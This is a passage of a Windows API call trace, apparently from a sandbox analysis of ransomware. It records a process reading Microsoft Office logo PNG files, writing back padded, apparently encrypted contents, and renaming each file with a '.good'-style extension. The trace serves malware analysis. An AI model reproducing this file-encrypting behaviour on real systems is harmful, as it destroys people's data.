dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0222.834] GetFileType (hFile=0x82c) returned 0x1 [0222.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0222.834] GetFileType (hFile=0x82c) returned 0x1 [0222.834] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x5c3 [0222.835] ReadFile (in: hFile=0x82c, lpBuffer=0x35deb90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35deb90*, lpNumberOfBytesRead=0x1fcee238*=0x5c3, lpOverlapped=0x0) returned 1 [0222.984] CloseHandle (hObject=0x82c) returned 1 [0223.070] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x66 [0223.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0223.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0223.071] GetFileType (hFile=0x630) returned 0x1 [0223.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0223.071] GetFileType (hFile=0x630) returned 0x1 [0223.071] WriteFile (in: hFile=0x630, lpBuffer=0x35d8560*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35d8560*, lpNumberOfBytesWritten=0x1fcee148*=0x5d0, lpOverlapped=0x0) returned 1 [0223.073] CloseHandle (hObject=0x630) returned 1 [0223.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x66 [0223.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x6b [0223.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0223.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x812de034, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0)) returned 1 [0223.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0223.074] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-80.png.gоod")) returned 1 [0223.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x67 [0223.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0223.075] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x35d98b0 | out: lpFileInformation=0x35d98b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6df)) returned 1 [0223.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0223.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x67 [0223.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0223.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0223.075] GetFileType (hFile=0x630) returned 0x1 [0223.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0223.075] GetFileType (hFile=0x630) returned 0x1 [0223.075] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x6df [0223.075] ReadFile (in: hFile=0x630, lpBuffer=0x35da338, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35da338*, lpNumberOfBytesRead=0x1fcee238*=0x6df, lpOverlapped=0x0) returned 1 [0223.077] CloseHandle (hObject=0x630) returned 1 [0223.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x67 [0223.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0223.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0223.089] GetFileType (hFile=0x630) returned 0x1 [0223.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0223.089] GetFileType (hFile=0x630) returned 0x1 [0223.089] WriteFile (in: hFile=0x630, lpBuffer=0x3657478*, nNumberOfBytesToWrite=0x6e0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3657478*, lpNumberOfBytesWritten=0x1fcee148*=0x6e0, lpOverlapped=0x0) returned 1 [0223.090] CloseHandle (hObject=0x630) returned 1 [0223.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x67 [0223.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x6c [0223.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0223.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x81304249, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6e0)) returned 1 [0223.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0223.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-100.png.gоod")) returned 1 [0223.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x67 [0223.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0223.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x36587d8 | out: lpFileInformation=0x36587d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0223.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0223.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x67 [0223.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0223.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0223.091] GetFileType (hFile=0x630) returned 0x1 [0223.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0223.091] GetFileType (hFile=0x630) returned 0x1 [0223.091] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x800 [0223.092] ReadFile (in: hFile=0x630, lpBuffer=0x3659380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3659380*, lpNumberOfBytesRead=0x1fcee238*=0x800, lpOverlapped=0x0) returned 1 [0223.807] CloseHandle (hObject=0x630) returned 1 [0224.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x67 [0224.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0224.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0224.723] GetFileType (hFile=0x864) returned 0x1 [0224.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0224.723] GetFileType (hFile=0x864) returned 0x1 [0224.723] WriteFile (in: hFile=0x864, lpBuffer=0x3759f58*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3759f58*, lpNumberOfBytesWritten=0x1fcee148*=0x810, lpOverlapped=0x0) returned 1 [0224.724] CloseHandle (hObject=0x864) returned 1 [0224.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x67 [0224.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x6c [0224.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0224.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x822856f4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x810)) returned 1 [0224.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0224.725] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-140.png.gоod")) returned 1 [0224.725] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x67 [0224.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0224.725] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x375b2b8 | out: lpFileInformation=0x375b2b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa03)) returned 1 [0224.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0224.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x67 [0224.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0224.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0224.726] GetFileType (hFile=0x864) returned 0x1 [0224.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0224.726] GetFileType (hFile=0x864) returned 0x1 [0224.726] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa03 [0224.726] ReadFile (in: hFile=0x864, lpBuffer=0x375c068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x375c068*, lpNumberOfBytesRead=0x1fcee238*=0xa03, lpOverlapped=0x0) returned 1 [0224.823] CloseHandle (hObject=0x864) returned 1 [0224.834] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x67 [0224.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0224.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0224.835] GetFileType (hFile=0x864) returned 0x1 [0224.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0224.835] GetFileType (hFile=0x864) returned 0x1 [0224.835] WriteFile (in: hFile=0x864, lpBuffer=0x37096d0*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37096d0*, lpNumberOfBytesWritten=0x1fcee148*=0xa10, lpOverlapped=0x0) returned 1 [0224.836] CloseHandle (hObject=0x864) returned 1 [0224.836] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x67 [0224.836] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x6c [0224.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0224.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x82390695, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa10)) returned 1 [0224.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0224.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-180.png.gоod")) returned 1 [0224.837] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x66 [0224.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0224.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x370aa30 | out: lpFileInformation=0x370aa30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d0)) returned 1 [0224.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0224.837] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x66 [0224.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0224.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0224.837] GetFileType (hFile=0x864) returned 0x1 [0224.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0224.837] GetFileType (hFile=0x864) returned 0x1 [0224.837] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x5d0 [0224.837] ReadFile (in: hFile=0x864, lpBuffer=0x370b398, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x370b398*, lpNumberOfBytesRead=0x1fcee238*=0x5d0, lpOverlapped=0x0) returned 1 [0224.839] CloseHandle (hObject=0x864) returned 1 [0224.850] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x66 [0224.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0224.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0224.851] GetFileType (hFile=0x864) returned 0x1 [0224.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0224.851] GetFileType (hFile=0x864) returned 0x1 [0224.851] WriteFile (in: hFile=0x864, lpBuffer=0x3785760*, 